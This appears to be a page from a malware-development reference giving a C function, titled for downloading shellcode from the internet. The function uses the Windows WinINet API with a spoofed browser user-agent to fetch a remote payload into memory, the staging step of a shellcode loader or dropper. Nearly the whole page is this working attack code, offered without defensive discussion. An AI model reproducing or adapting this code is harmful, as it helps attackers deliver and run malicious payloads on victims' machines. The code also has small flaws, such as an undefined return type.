Download

Download shellcode from the internet

#include <stdio.h>
#include <windows.h>
#include <wininet.h>

DOWNLOAD_STATUS DownloadShellcode(IN LPCSTR lpUrl, OUT PBYTE *ppBuffer, OUT SIZE_T *psBufferSize)
{
        if (lpUrl == NULL || ppBuffer == NULL || psBufferSize == NULL)
                return FALSE;

        HINTERNET hInternet = InternetOpenA("Mozilla/6.6 (Windows NT 6.6; WOW64) AppleWebKit/666.66 (KHTML, like "
                                            "Gecko) Chrome/66.0.6666.666 Safari/666.66",
                                            INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (hInternet == NULL)
                return FALSE;

        HINTERNET hConnect = InternetOpenUrlA(hInternet, lpUrl, NULL, 0, INTERNET_FLAG_RELOAD, 0);
        if (hConnect == NULL)
        {
                InternetCloseHandle(hInternet);
                return FALSE;
        }

        DWORD dwBytesRead = 0;
        DWORD dwBytesToRead = 0;
        DWORD dwTotalBytesRead = 0;
        DWORD dwSize = 0;

        // get size of buffer
        if (!InternetQueryDataAvailable(hConnect, &dwBytesToRead, 0, 0))
        {
                InternetCloseHandle(hConnect);
                InternetCloseHandle(hInternet);
                return FALSE;
        }

        // allocate buffer
        PBYTE pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesToRead);
        if (pBuffer == NULL)
        {
                InternetCloseHandle(hConnect);
                InternetCloseHandle(hInternet);
                return FALSE;
        }

        // read data
        while (InternetReadFile(hConnect, pBuffer + dwTotalBytesRead, dwBytesToRead, &dwBytesRead))
        {
                if (dwBytesRead == 0)
                        break;

                dwTotalBytesRead += dwBytesRead;

                if (!InternetQueryDataAvailable(hConnect, &dwBytesToRead, 0, 0))
                        break;

                if (dwBytesToRead == 0)
                        break;

                PBYTE pTemp =
                    (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBuffer, dwTotalBytesRead + dwBytesToRead);
                if (pTemp == NULL)
                {
                        HeapFree(GetProcessHeap(), 0, pBuffer);
                        InternetCloseHandle(hConnect);
                        InternetCloseHandle(hInternet);
                        return FALSE;
                }

                pBuffer = pTemp;
        }

        *ppBuffer = pBuffer;
        *psBufferSize = dwTotalBytesRead;

        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);

        return TRUE;
}

Last updated